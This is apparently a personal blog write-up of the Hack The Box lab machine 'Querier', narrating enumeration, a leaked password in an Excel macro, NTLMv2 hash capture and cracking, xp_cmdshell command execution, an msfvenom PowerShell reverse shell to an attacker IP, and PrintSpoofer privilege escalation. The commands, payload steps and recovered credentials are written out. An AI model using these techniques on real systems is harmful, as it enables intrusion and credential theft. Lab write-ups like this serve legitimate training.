Hack The Box - Querier Writeup
I finally decided to step up and do a “medium” level machine on Hack The Box, and I decided to do it on “hard mode” and tackle a Windows one 😅
I tried the Querier machine since it seemed to have a lot of solves and good ratings. I started with some initial nmap
scans, and got the overall layout. It looked like a typical Windows machine, although it had a lot of extra high-numbered ports open. It is also worth noting that it is running MSSQL Server (port 1433
).
% sudo nmap -p- -sS 10.10.10.125
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 15:58 ADT
Nmap scan report for 10.10.10.125
Host is up (0.053s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 35.27 seconds
The ports in the 49664
-49671
range appear to be used by various services that have an RPC API. More on this later.
I tried not to use any hints for this one, although before I started the machine, I began reading the “Machine Info” tab. Turns out this basically spoils the whole machine. This was my first time tackling a retired HTB Machine, so I had no idea. Anyway, luckily I only read the first sentence, and stopped, realizing it was telling me more than I wanted to know.
The first sentence was: Querier is a medium difficulty Windows box which has an Excel spreadsheet in a world-readable file share.
Armed with that knowledge, I started poking around. First, of course, I took a look at SMB.
% smbclient -N -L '//10.10.10.125'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
% smbclient -N '//10.10.10.125/Reports'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 28 19:23:48 2019
.. D 0 Mon Jan 28 19:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 18:21:34 2019
5158399 blocks of size 4096. 852612 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (50.2 KiloBytes/sec) (average 50.2 KiloBytes/sec)
I downloaded Currency Volume Report.xlsm
. The m
in that extension indicates that there are macros, so I set out to see whether the macros had anything interesting in them. I used the olevba tool, which extracted the macro code:
% olevba Currency\ Volume\ Report.xlsm
olevba 0.60.2 on Python 3.13.7 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open |May open a file |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
The macro contains an MSSQL connection string, which includes a password!
The next step was to connect to the volume
database on MSSQL as the reporting
user and gather some more information.
% mssqlclient.py [email protected] -windows-auth
<SNIP>
SQL (QUERIER\reporting reporting@volume)> select name from sys.databases;
name
------
master
tempdb
model
msdb
volume
SQL (QUERIER\reporting reporting@volume)> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
ERROR(QUERIER): Line 1: You do not have permission to use the bulk load statement.
SQL (QUERIER\reporting reporting@volume)> select distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name
----
SQL (QUERIER\reporting reporting@volume)> select system_user
-----------------
QUERIER\reporting
SQL (QUERIER\reporting reporting@volume)> SELECT IS_SRVROLEMEMBER('sysadmin')
-
0
SQL (QUERIER\reporting reporting@volume)> SELECT srvname, isremote FROM sysservers
srvname isremote
------- --------
QUERIER 1
We can see that there are no other non-default databases, we cannot read files, we are not sysadmin
, and there are no linked databases. I also found that there were only two users, reporting
(the current user) and dbo
, which I assumed stood for Database Owner. My guess was that dbo
was the DB admin user.
From here I went down a few rabbit holes. First, I realized that since -windows-auth
worked for logging into MSSQL, it meant that the reporting
user was actually a Windows user, not just an MSSQL user. I figured I might be able to get some other access on the system using the credentials. There was no RDP, but I tried WinRM, SMB, WMI, and various methods using netexec
. I also ran enum4linux
and rpcclient
. I didn’t find anything particularly useful.
Next, I tried digging into the high-numbered ports. I ran rpcdump
to get info on all of the services that were using the ports. I tried exploiting the PrintNightmare
vulnerability. Metasploit seemed to think the server was vulnerable, but the exploit didn’t work. Possibly because it required the ability to upload a malicious printer driver, and my user didn’t have permission. Not totally sure.
I also came across an NTLMv2-SSP
hash for the QUERIER$
machine user. I figured I would have a go at cracking that.
hashcat -d 1 -a 0 -m 5600 querier-machine-ntlmv2-ssp.txt rockyou.txt -r best66.rule
The first try didn’t work, so I tried using the d3ad0ne.rule
file instead. I left it running for a while, but ended up stopping it before it finished.
hashcat -d 1 -a 0 -m 5600 querier-machine-ntlmv2-ssp.txt rockyou.txt -r d3ad0ne.rule
Finally, I accidentally got a hint 🤦♂️
I was using Claude to do some searching and try to figure out the next step. But I didn’t count on something: this was a retired machine with public information available online, and of course Claude could find this, and perhaps was even trained on it. One of my conversations included output indicating the name of the machine, and Claude advised me that I should focus on MSSQL rather than the RPC ports.
Well, I didn’t really want the hint, but I turned my attention back to MSSQL, and made a mental note to be careful about using LLM’s for machines with public writeups 🙃
I did some more enumeration. None of the databases actually had any tables or data in them. Finally I found the section in HackTricks about stealing NetNTLM hashes from the MSSQL service user. I gave this a try, it worked, and cracking the hash was successful!
[SMB] NTLMv2-SSP Client : 10.10.10.125
[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash : mssql-svc::QUERIER:881220cc9d081730:D2F0F58B108FB068B81B5D6F66076F87:010100000000000000E9C392823CDC01D720FBE0D0FBBF9900000000020008003000450047004D0001001E00570049004E002D00470037004F0042005000570048004D00370043004F0004003400570049004E002D00470037004F0042005000570048004D00370043004F002E003000450047004D002E004C004F00430041004C00030014003000450047004D002E004C004F00430041004C00050014003000450047004D002E004C004F00430041004C000700080000E9C392823CDC0106000400020000000800300030000000000000000000000000300000A75FF05B27AEED289106AA01D73DB1DF8107301C060B1B861F8749A4E43BD9F10A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003600000000000000000000000000
hashcat -d 1 -a 0 -m 5600 mssql-svc-ntlmv2-ssp.txt rockyou.txt -r best66.rule
<SNIP>
MSSQL-SVC::QUERIER:881220cc9d081730:<SNIP>:corporate568
With these new credentials, I tried some of the same things as before, like WinRM and enum4linux
. Eventually I tried logging into MSSQL using the mssql-svc
user. I guess I didn’t think that would work because the other DB user was dbo
, not mssql-svc
. But it did work, and logged me in as dbo
. I confess I’m not super familiar with MSSQL, but evidently the mssql-svc
Windows user was linked somehow to the dbo
database user in this instance.
In any case, that meant as the DB administrator, I could use xp_cmdshell
to run arbitrary commands!
% mssqlclient.py mssql-svc:'corporate568'@10.10.10.125 -windows-auth
<SNIP>
SQL (QUERIER\mssql-svc dbo@master)> enable_xp_cmdshell
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell whoami
output
-----------------
querier\mssql-svc
NULL
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell dir c:\Users\mssql-svc\Desktop
output
--------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is 35CB-DA81
NULL
Directory of c:\Users\mssql-svc\Desktop
NULL
01/29/2019 12:42 AM <DIR> .
01/29/2019 12:42 AM <DIR> ..
10/13/2025 07:52 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 3,458,797,568 bytes free
NULL
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell type c:\Users\mssql-svc\Desktop\user.txt
output
--------------------------------
<USER_FLAG>
NULL
And there was the flag!
I spent some time trying to get a Meterpreter shell, but Windows Defender was being very stubborn, and I ended up just using xp_cmdshell
for everything. It was a bit cumbersome, and it turns out there was a better way. Afterward, I got a proper reverse shell with PowerShell using the following payload:
% msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 -b "'"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: cmd from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 4469 (iteration=0)
cmd/powershell_base64 chosen with final size 4469
Payload size: 4469 bytes
powershell -w hidden -nop -e <SNIP>
The -b "'"
was to ensure the payload didn’t have any single quote characters, because xp_cmdshell
doesn’t like them.
Then I set up the listener in msfconsole
:
msf6 > use exploit/multi/handler
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 4444
lport => 8080
msf6 exploit(multi/handler) > set payload cmd/windows/powershell_reverse_tcp
payload => cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
And finally, back in MSSQL, ran the payload from above:
xp_cmdshell powershell.exe -nop -w hidden -noni -ep bypass "<SNIP>"
This gave me a nice, interactive PowerShell instance. Would have been nice. But anyway, life goes on.
I started running into some issues. I tried running winPEAS
and some other things, but the system seemed to get pretty easily bogged down, and then it would lag so much that I couldn’t even kill the process. I had to restart the machine twice.
I used wesng
to search around for OS exploits. It spit out over 2000 options! Not that helpful.
I tried to find the PowerShell console history file. No luck.
I had noticed early on after doing whoami /priv
that the mssql
user had the SeImpersonatePrivilege
and I had some memory of this being important. But after digging around through various JuicyPotato
articles, I wasn’t sure if it was going to be exploitable. Eventually, I found in my notes that I had used PrintSpoofer
for a case like this in the past to escalate privileges. I transferred the executable to the victim machine (using Impacket’s smbserver
) and gave it a try. It worked beautifully!
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell C:\Tools\PrintSpoofer64.exe -i -c "cmd /c whoami"
output
-------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
nt authority\system
NULL
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell C:\Tools\PrintSpoofer64.exe -i -c "cmd /c type C:\Users\Administrator\Desktop\root.txt"
output
-------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
<ROOT_FLAG>
NULL
This was a fun machine. I wish I hadn’t gotten those two small hints, but it was great to practice my Windows hacking. This was both my first Windows machine on HTB, and my first successful “medium” difficulty machine, so I’m proud of the accomplishment.
Onward!